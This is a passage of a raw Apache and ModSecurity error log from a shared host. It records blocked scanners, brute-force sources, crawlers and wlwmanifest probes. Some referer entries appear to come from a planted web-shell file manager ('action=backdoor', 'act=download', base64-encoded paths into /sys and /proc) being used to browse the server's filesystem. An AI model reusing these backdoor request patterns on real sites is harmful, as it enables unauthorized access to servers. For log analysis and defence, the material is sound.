[access_compat:error] [pid 531155:tid 531192] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL2lucHV0MC9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:12:09.092568 2026] [access_compat:error] [pid 531797:tid 531865] [remote 57.141.14.15:57019] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:09.092908 2026] [access_compat:error] [pid 531797:tid 531865] [remote 57.141.14.15:57019] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:09.192779 2026] [security2:error] [pid 531797:tid 531971] [remote 17.246.23.6:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 6.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x2cTA7b1mZrmcA-8y3QACRmo"] [Sat Jun 13 18:12:09.226571 2026] [security2:error] [pid 531797:tid 532128] [client 114.119.133.119:58643] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.steaminnovationfoundation.org"] [uri "/robots.txt"] [unique_id "ai3x2cTA7b1mZrmcA-8y3wAAApM"], referer: http://www.steaminnovationfoundation.org/robots.txt [Sat Jun 13 18:12:09.235575 2026] [access_compat:error] [pid 531797:tid 531979] [remote 57.141.14.38:49489] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:09.236023 2026] [access_compat:error] [pid 531797:tid 531979] [remote 57.141.14.38:49489] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:09.275537 2026] [access_compat:error] [pid 531797:tid 531911] [remote 57.141.14.26:61428] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:09.276025 2026] [access_compat:error] [pid 531797:tid 531911] [remote 57.141.14.26:61428] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:09.527596 2026] [access_compat:error] [pid 531155:tid 531263] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvTE5YQ1BVOjFm [Sat Jun 13 18:12:09.528038 2026] [access_compat:error] [pid 531155:tid 531263] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvTE5YQ1BVOjFm [Sat Jun 13 18:12:09.564383 2026] [access_compat:error] [pid 531797:tid 531942] [remote 57.141.14.44:35711] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:09.564684 2026] [access_compat:error] [pid 531797:tid 531942] [remote 57.141.14.44:35711] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:09.602287 2026] [security2:error] [pid 531155:tid 531198] [remote 17.246.19.149:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 149.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x2SmiP80klyS0NnoCNQABJSo"] [Sat Jun 13 18:12:09.613544 2026] [security2:error] [pid 531155:tid 531176] [remote 17.241.227.48:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 48.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x2SmiP80klyS0NnoCNwABChQ"] [Sat Jun 13 18:12:09.919677 2026] [security2:error] [pid 531797:tid 531921] [remote 20.153.140.50:47790] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 50.140.153.20.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "piox.cl"] [uri "/wp-login.php"] [unique_id "ai3x2cTA7b1mZrmcA-8y_QACITk"], referer: https://piox.cl/wp-login.php [Sat Jun 13 18:12:09.996329 2026] [security2:error] [pid 531155:tid 531186] [remote 17.241.227.23:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 23.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x2SmiP80klyS0NnoCPQABTR4"] [Sat Jun 13 18:12:10.089387 2026] [access_compat:error] [pid 531155:tid 531157] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?act=download&file=autosuspend_delay_ms&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:12:10.089695 2026] [access_compat:error] [pid 531155:tid 531157] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?act=download&file=autosuspend_delay_ms&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:12:10.159354 2026] [access_compat:error] [pid 531155:tid 531246] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?action=backdoor&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:12:10.159633 2026] [access_compat:error] [pid 531155:tid 531246] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?action=backdoor&p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:12:10.160149 2026] [security2:error] [pid 531155:tid 531297] [client 143.244.57.86:58254] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "beta.gamma.celadondragon.com"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "ai3x2imiP80klyS0NnoCQQAAARY"] [Sat Jun 13 18:12:10.271724 2026] [access_compat:error] [pid 531155:tid 531242] [remote 57.141.14.99:29260] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:10.272068 2026] [access_compat:error] [pid 531155:tid 531242] [remote 57.141.14.99:29260] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:10.511760 2026] [access_compat:error] [pid 531797:tid 531913] [remote 57.141.14.11:51105] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:10.512043 2026] [access_compat:error] [pid 531797:tid 531913] [remote 57.141.14.11:51105] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:10.556422 2026] [access_compat:error] [pid 531155:tid 531276] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9tb3VzZTAvcG93ZXI= [Sat Jun 13 18:12:10.556698 2026] [access_compat:error] [pid 531155:tid 531276] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9tb3VzZTAvcG93ZXI= [Sat Jun 13 18:12:10.589238 2026] [security2:error] [pid 531797:tid 532085] [client 143.244.57.86:58266] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "beta.gamma.celadondragon.com"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "ai3x2sTA7b1mZrmcA-8zNQAAAms"] [Sat Jun 13 18:12:10.661154 2026] [security2:error] [pid 531155:tid 531209] [remote 17.22.237.132:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 132.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x2imiP80klyS0NnoCTAABcDU"] [Sat Jun 13 18:12:10.763302 2026] [access_compat:error] [pid 531155:tid 531280] [remote 57.141.14.19:29580] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:10.763614 2026] [access_compat:error] [pid 531155:tid 531280] [remote 57.141.14.19:29580] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:10.785961 2026] [access_compat:error] [pid 531797:tid 531881] [remote 57.141.14.5:63313] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:10.786245 2026] [access_compat:error] [pid 531797:tid 531881] [remote 57.141.14.5:63313] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:10.961360 2026] [security2:error] [pid 531797:tid 532064] [client 143.244.57.86:58272] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "beta.gamma.celadondragon.com"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "ai3x2sTA7b1mZrmcA-8zTAAAAlY"] [Sat Jun 13 18:12:11.115497 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OmNhcHNsb2NrL3Bvd2Vy [Sat Jun 13 18:12:11.115866 2026] [access_compat:error] [pid 531797:tid 531903] [remote 57.141.14.36:35284] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:11.115966 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6OmNhcHNsb2NrL3Bvd2Vy [Sat Jun 13 18:12:11.116291 2026] [access_compat:error] [pid 531797:tid 531903] [remote 57.141.14.36:35284] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:11.368999 2026] [security2:error] [pid 531155:tid 531357] [client 143.244.57.86:58288] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "beta.gamma.celadondragon.com"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "ai3x2ymiP80klyS0NnoCWQAAAVI"] [Sat Jun 13 18:12:11.598155 2026] [access_compat:error] [pid 531155:tid 531216] [remote 74.7.242.16:56310] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkxL2N3ZA== [Sat Jun 13 18:12:11.598574 2026] [access_compat:error] [pid 531155:tid 531216] [remote 74.7.242.16:56310] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkxL2N3ZA== [Sat Jun 13 18:12:11.638547 2026] [access_compat:error] [pid 531155:tid 531193] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9kZXZpY2U6MGI= [Sat Jun 13 18:12:11.638866 2026] [access_compat:error] [pid 531155:tid 531193] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9kZXZpY2U6MGI= [Sat Jun 13 18:12:11.719622 2026] [security2:error] [pid 531797:tid 531867] [remote 17.246.15.174:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 174.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x28TA7b1mZrmcA-8zegAChQM"] [Sat Jun 13 18:12:11.721998 2026] [security2:error] [pid 531155:tid 531266] [remote 17.241.75.125:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 125.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x2ymiP80klyS0NnoCYwABPm4"] [Sat Jun 13 18:12:12.070010 2026] [access_compat:error] [pid 531797:tid 531864] [remote 216.73.216.182:32721] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:12.070385 2026] [access_compat:error] [pid 531797:tid 531864] [remote 216.73.216.182:32721] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:12.166585 2026] [access_compat:error] [pid 531155:tid 531238] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:12:12.167049 2026] [access_compat:error] [pid 531155:tid 531238] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 